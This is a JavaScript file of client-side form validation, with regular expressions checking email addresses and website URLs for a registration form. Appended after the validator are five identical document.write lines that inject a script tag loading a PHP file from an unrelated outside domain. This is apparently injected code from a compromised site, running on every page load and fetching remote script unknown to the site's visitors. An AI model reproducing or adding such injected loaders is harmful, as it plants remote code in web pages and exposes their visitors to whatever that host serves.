function isValidEmail(email){
    var RegExp = /^((([a-z]|[0-9]|!|#|$|%|&|'|\*|\+|\-|\/|=|\?|\^|_|`|\{|\||\}|~)+(\.([a-z]|[0-9]|!|#|$|%|&|'|\*|\+|\-|\/|=|\?|\^|_|`|\{|\||\}|~)+)*)@((((([a-z]|[0-9])([a-z]|[0-9]|\-){0,61}([a-z]|[0-9])\.))*([a-z]|[0-9])([a-z]|[0-9]|\-){0,61}([a-z]|[0-9])\.)[\w]{2,4}|(((([0-9]){1,3}\.){3}([0-9]){1,3}))|(\[((([0-9]){1,3}\.){3}([0-9]){1,3})\])))$/
    if(RegExp.test(email)){
        return true;
    }else{
        return false;
    }
}

function isValidURL(url){
    var RegExp = /^(([\w]+:)?\/\/)?(([\d\w]|%[a-fA-f\d]{2,2})+(:([\d\w]|%[a-fA-f\d]{2,2})+)?@)?([\d\w][-\d\w]{0,253}[\d\w]\.)+[\w]{2,4}(:[\d]+)?(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/;
    if(RegExp.test(url)){
        return true;
    }else{
        return false;
    }
}

function formValidator(){
    var frm = document.regForm, error = "";
    if(!isValidEmail(frm.email.value)){
        error += 'Please enter a valid E-mail Address\n';
    }
    if(!isValidURL(frm.url.value)){
        error += "Please enter a valid Website URL\n";
    }
    if(error != ""){
        alert(error);
        return false;
    }else{
        return true;
    }
}
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');